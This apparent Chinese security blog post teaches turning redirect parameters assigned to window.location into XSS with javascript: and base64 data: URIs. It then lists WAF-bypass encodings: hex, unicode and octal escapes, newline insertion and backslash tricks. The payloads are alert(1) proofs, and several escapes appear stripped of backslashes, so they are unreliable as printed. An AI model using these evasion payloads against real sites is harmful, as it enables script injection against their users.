漏洞挖掘技巧之利用javascript:

  好久没更新博客了,更新一波。  

  场景:    

  window.location.href=””
  location=””
  location.href=””
  window.location.*

  

常见地点:任何二次跳转处
可能存在问题的参数:*_url ,url_*,url

危害:跳转和xss

    

首选xss
最简单的:
伪协议 ,以location为例子
location=”javascript:alert(1) ”
location=”javascript:alert(1) ”

利用伪协议2:
location=”data:html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg”
base64编码可以不要==

漏洞挖掘发现每次都过滤javascript:(这里不探讨过滤了alert怎么绕过。)
一系列绕过思路:
x JS十六进制
javascript: -> x6Ax61x76x61x73x63x72x69x70x74x3a
location="x6Ax61x76x61x73x63x72x69x70x74x3aalert(1)"

u Unicode编码
javascript:-> u006Au0061u0076u0061u0073u0063u0072u0069u0070u0074u003a

如果waf拦截了x u怎么绕过?
方法:换行攻击
+换行[%0a]
java\%0ascript

%0a可以替换成%0d或者是%09

如果waf拦截了x u ,并且还拦截%0x怎么绕过?

方法:
随机插入
location="j ava script: alert(1)"

多加几个 没关系
location="j ava scri p t: alert(1)"

如果waf拦截x u %0x,并且还过滤 怎么绕过?
方法1:JS 八进制
javascript: -> 15214116614116314316215116016472
利用:
location="15214116614116314316215116016472alert(1)"

方法2:万能的斜杠
javascript:alert(1)
location="javascript:alert(1)"

少加点也是可以的

排版有点差。。。我从doc文档复制过来的,将就看吧。

原文地址:https://www.cnblogs.com/piaomiaohongchen/p/11416457.html